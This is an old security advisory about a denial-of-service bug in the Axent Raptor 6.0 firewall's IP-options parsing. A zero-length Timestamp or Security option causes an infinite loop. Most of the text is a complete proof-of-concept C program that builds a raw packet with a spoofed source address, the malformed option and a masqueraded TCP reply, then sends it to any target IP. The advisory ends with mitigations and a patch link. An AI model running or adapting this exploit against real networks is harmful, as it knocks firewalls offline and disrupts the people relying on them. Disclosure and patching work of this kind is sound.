|
Vulnerability Axent Raptor Affected Axent Raptor 6.0 Description This bug was discovered in the CERIAS lab's at Purdue by Florian and Kerschbaum Mike Frantzen. Testing wEnvironment was: Sparc 5 85MHz Solaris 2.6 Generic_105181-12 Axent Raptor 6.0.0 Firewall Axent's Raptor programmers have a switch statement for IP Options in a packet. They likely have cases for most of the options contained in the RFC's but only wrote handling code for the commonly 'malused' options (source routing). For all the other known options, they are handled by a generic routine which likely tries to skip that option. See probable code snapshot below. IP Options are (generally) of the form: -------- -------- -------- -------- | Type | Length | ... | ... | -------- -------- -------- -------- Where the Type indicates which IP Option is present and the Length obviously indicates how long the option is. It also needs to be pointed out that there can be multiple options inside an IP packet -- they just follow each other. IP Packets are parsed either with interrupts masked off or while holding an vital global mutex. When the option parsing tries to skip a 'benign' option, it forgets to check if it is of zero length. So the end result is essentially: for (ecx = 20; ecx < header_length; ecx += 0 ) { ... } The Options that can lock up the firewall are the Timestamp option and the Security option. The copy bit does not appear to affect the results. Nor does the underlying protocol (TCP, UDP or random). This is the probable offending segment of code in Raptor. It is only an educated guess - authors didn't se their code nor they have disassembled it. [.....] /* Parse the IP Options of the packet */ for (c = 20; c < (ip.ip_hl * 4); ) { switch ( packet[c] & ~COPY_BIT ) { case TIMESTAMP: case SECURITY: if ( c + 1 > ip.ip_hl * 4 ) goto done_parsing_label; option_length = packet[c + 1]; /* ****************************** **** * Forgetting to check if the option length is * zero here. So you enter an infinite loop * ****************************** ****/ if ( option_length + c > ip.ip_hl * 4 ) goto done_parsing_label; c += option_length; break; case END_OF_OPTIONS: goto done_parsing_label; case NOP: c++; break; case STRICT_SOURCE_ROUTE: case LOOSE_SOURCE_ROUTE: case RECORD_ROUTE: log_dangerous_packet(); default: if ( c + 1 >= ip.ip_hl * 4 ) goto done_parsing_label; option_length = packet[c + 1]; if ( (option_length == 0) ||(option_length + c >= ip.ip_hl * 4) ) goto done_parsing_label; c += option_length; break; } } done_parsing_label: queue_packet_down_stack(packet); unmask_interrupts(); [.....] MSG.Net Inc. constructed a working DOS for the Axent Raptor 6.0 IP options processing bug. Compiles and runs on Intel/BSD systems. /* * 10.26.1999 * Axent Raptor 6.0 'IP Options DOS' as documented in BugTraq 10.20.1999 * * Proof of Concept by MSG.Net, Inc. * * Tested on Intel/*BSD systems, your mileage may vary. No warranty. * Free to distribute as long as these comments remain intact. * * Exercises the IP options bug reported in Raptor 6.0, this bug is fixed by * an Axent official patch available at: * * ftp://ftp.raptor.com/patches/V6.0/6.02Patch/ * * * The MSG.Net Firewall Wrecking Crew * * [kadokev, l^3, strange, vn] * * Quid custodiet ipsos custodes? */ #define __FAVOR_BSD #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define SRC_IP htonl(0x0a000001) /* 10.00.00.01 */ #define TCP_SZ 20 #define IP_SZ 20 #define PAYLOAD_LEN 32 #define OPTSIZE 4 #define LEN (IP_SZ + TCP_SZ + PAYLOAD_LEN + OPTSIZE) void main(int argc, char *argv[]) { int checksum(unsigned short *, int); int raw_socket(void); int write_raw(int, unsigned char *, int); unsigned long option = htonl(0x44000001); /* Timestamp, NOP, END */ unsigned char *p; int s, c; struct ip *ip; struct tcphdr *tcp; if (argc != 2) { printf("Quid custodiet ipsos custodes?\n"); printf("Usage: %s <destination IP>\n", argv[0]); return; } p = malloc(1500); memset(p, 0x00, 1500); if ((s = raw_socket()) < 0) return perror("socket"); ip = (struct ip *) p; ip->ip_v = 0x4; ip->ip_hl = 0x5 + (OPTSIZE / 4); ip->ip_tos = 0x32; ip->ip_len = htons(LEN); ip->ip_id = htons(0xbeef); ip->ip_off = 0x0; ip->ip_ttl = 0xff; ip->ip_p = IPPROTO_TCP; ip->ip_sum = 0; ip->ip_src.s_addr = SRC_IP; ip->ip_dst.s_addr = inet_addr(argv[1]); /* Masquerade the packet as part of a legitimate answer */ tcp = (struct tcphdr *) (p + IP_SZ + OPTSIZE); tcp->th_sport = htons(80); tcp->th_dport = 0xbeef; tcp->th_seq = 0x12345678; tcp->th_ack = 0x87654321; tcp->th_off = 5; tcp->th_flags = TH_ACK | TH_PUSH; tcp->th_win = htons(8192); tcp->th_sum = 0; /* Set the IP options */ memcpy((void *) (p + IP_SZ), (void *) &option, OPTSIZE); c = checksum((unsigned short *) &(ip->ip_src), 8) + checksum((unsigned short *) tcp, TCP_SZ + PAYLOAD_LEN) + ntohs(IPPROTO_TCP + TCP_SZ); while (c >> 16) c = (c & 0xffff) + (c >> 16); tcp->th_sum = ~c; printf("Sending %s -> ", inet_ntoa(ip->ip_src)); printf("%s\n", inet_ntoa(ip->ip_dst)); if (write_raw(s, p, LEN) != LEN) perror("sendto"); } int write_raw(int s, unsigned char *p, int len) { struct ip *ip = (struct ip *) p; struct tcphdr *tcp; struct sockaddr_in sin; tcp = (struct tcphdr *) (ip + ip->ip_hl * 4); memset(&sin, 0x00, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = ip->ip_dst.s_addr; sin.sin_port = tcp->th_sport; return (sendto(s, p, len, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in))); } int raw_socket(void) { int s, o = 1; if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) return -1; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (void *) &o, sizeof(o)) < 0) return (-1); return (s); } int checksum(unsigned short *c, int len) { int sum = 0; int left = len; while (left > 1) { sum += *c++; left -= 2; } if (left) sum += *c & 0xff; return (sum); } Sending raw packets requires running as root, so anybody with a lick of sense will have read through the source before compiling this code. Solution Solution one: Learn to power cycle your firewall Solution two: Block all traffic with IP Options at your screening router. Solution three:Apply Axent's Hotfix ftp://ftp.raptor.com/patches/V6.0/6.02Patch/